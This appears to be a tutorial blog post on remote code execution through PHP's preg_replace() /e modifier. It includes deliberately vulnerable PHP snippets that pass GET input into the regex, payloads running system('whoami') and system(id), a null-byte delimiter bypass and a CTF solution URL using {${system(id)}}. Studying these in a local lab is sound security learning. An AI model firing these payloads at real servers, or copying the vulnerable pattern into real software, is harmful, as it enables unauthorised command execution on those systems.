PHP dangerous function preg_replace() leads to remote code execution with improper implementation

Preg_replace

preg_replace — Perform a regular expression search and replace

Description

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

Environment

All the testing will be test under docker environment with php version 5.3

docker run --name app -d -p 8080:80 -v $(pwd):/var/www/app romeoz/docker-apache-php:5.3

put all your php files under the same directory with the docker file.

Access the page in localhost port 8080

Start

preg_replace(patterns, replacements, input, limit, count)

Searches subject for matches to pattern and replaces them with replacement.

The normal use of Preg_replace() is safe enough for replacing pattern using regex

Let see a example:

When we want to filter unwanted words from user input and replace it with proper words

<?php
$input = "eat my shit please";
if(isset($_GET['pattern']) && isset($_GET['replacement'])){
$pattern = $_GET['pattern'];
$replacement = $_GET['replacement'];
echo preg_replace($pattern,$replacement,$input);
}else{
echo $input;
}

?>

The /i modifier will match both upper and lower case letters.

we expect the output to be eat my shit please without any parameter

But what if we want to change the shit to poo instead ?

image-20200923173920509

And we filter off bad words. Everything seems fine with this function

The danger comes in when the modifier set to /e instead of /i, it will cause PHP to execute the replacement value as code.

image-20200923175756261

the preg_replace() has come preg_replace('/shit/e','system('whoami'),"eat my shit please")

The string shit trigger the replace function to execute a system('whoami')

Null byte bypass

Let’s look at the another example if we are not able to control the delimiter

<?php
$input = "eat my shit please";
if(isset($_GET['pattern']) && isset($_GET['replacement'])){
$pattern = $_GET['pattern'];
$replacement = $_GET['replacement'];
echo preg_replace($pattern,$replacement,$input);
}else{
echo $input;
}
?>

pattern parameter no longer require the / and delimiter

image-20200923180446620

image-20200923180618692

This code seems safe, attacker can no longer end the regular expression with their own modifier.

Do take note PHP take some of the syntax from C . In C, it handles strings as a character array, it needs a way to define the last character of the string. This is done using a null byte. A null byte is denoted by \0 in C. preg_replace function handle an input string as they handled by C.

Therefore, we can input a \0 which is %00 in URL to control the last character of the string.

image-20200923181534025

CTF challenge

CTF challenge from PHP SECURITY CALENDAR

header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
}

foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}

We can use PHP’s curly syntax to inject the function call

Complex (curly) syntax

http://localhost:8080/challenges.php/?\S*={${system(id)}}

The reason why we are using curly syntax is because after the function complexStrtolower we are storing our result into "<result>" in double quotes

In PHP, the variable in double quotes are allow to parse as variable.

In curly syntax, single curly braces is for parsing variable.

// Works, outputs: This is fantastic
echo "This is {$great}";

Note:

Functions, method calls, static class variables, and class constants inside {$} work since PHP 5. However, the value accessed will be interpreted as the name of a variable in the scope in which the string is defined. Using single curly braces ({}) will not work for accessing the return values of functions or methods or the values of class constants or static class variables.

For functions we have to use double curly braces. E.g. {${phpinfo()}}

Another question

why we are able to execute system(id) without quote the 'id'

image-20200923195620695

if we add id in single quotes, it will auto add a slash to escape the single quotes (Which I have no idea ??? Comment if you know the reason)

however, in PHP. Constants without quote will assume as string beacuse of the PHP ‘loosely typed’ characterstic (Will be discover more on later post PHP type juggling)

<?php
echo system(whoami);
?>

image-20200923200156085

reference